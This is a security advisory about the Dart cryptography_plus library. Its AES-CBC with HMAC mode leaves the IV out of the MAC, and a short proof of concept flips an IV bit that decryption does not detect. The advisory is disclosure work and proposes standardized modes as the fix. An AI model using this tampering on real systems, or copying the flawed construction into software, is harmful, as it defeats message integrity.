Authentication bypass for AES-CBC with HMAC

[bleichenbacher-daniel]

The dart package cryptography_plus implements an insecure encryption mode when encrypting with
AES-CBC and HMAC. The issue with the encryption mode is that the IV is not included in
the HMAC computation. This omission allows an attacker to modify the IV without detection.
By modifying the IV it is possible to change the first block of the encrypted message
in a controlled manner. The issue is also present in the previous version of the library "cryptography".

Test results

The tests were run using version "2.7.1" from https://github.com/emz-hanauer/dart-cryptography
Test were run on a Windows system.

The issue is already present in previous versions of the library. In particular,
https://github.com/dint-dev/cryptography suffers from the same problem.

Future<void> authentication_bypass_cbc() async {
  final message = <int>[1,2,3,4,5];

  final algorithm = AesCbc.with128bits(macAlgorithm: Hmac.sha256());
  final secretKey = await algorithm.newSecretKey();
  final secretBox = await algorithm.encrypt(
      message,
      secretKey: secretKey,
    );
  print('Nonce: ${secretBox.nonce}');
  print('Ciphertext: ${secretBox.cipherText}');
  print('Mac: ${secretBox.mac.bytes}');
  // Get the ciphertext
  var bytes = secretBox.concatenation();
  // Modify the IV of the ciphertext.
  bytes[0]^=1;
  // Decrypt the modified ciphertext
  var secretBoxModified = SecretBox.fromConcatenation(
      bytes,
      nonceLength:16,
      macLength:32,
      copy: false);
  final decrypted = await algorithm.decrypt(
      secretBoxModified,
      secretKey: secretKey,
  );
  // Decryption is successful, since the IV is not included in the MAC.
  print('Decrypted: $decrypted');
}

Potential fixes

Instead of inventing their own encryption mode it is recommended that the
library uses some standardized encryption mode. One potential option are
the encryption modes defined in Section 5.1 of RFC 7518.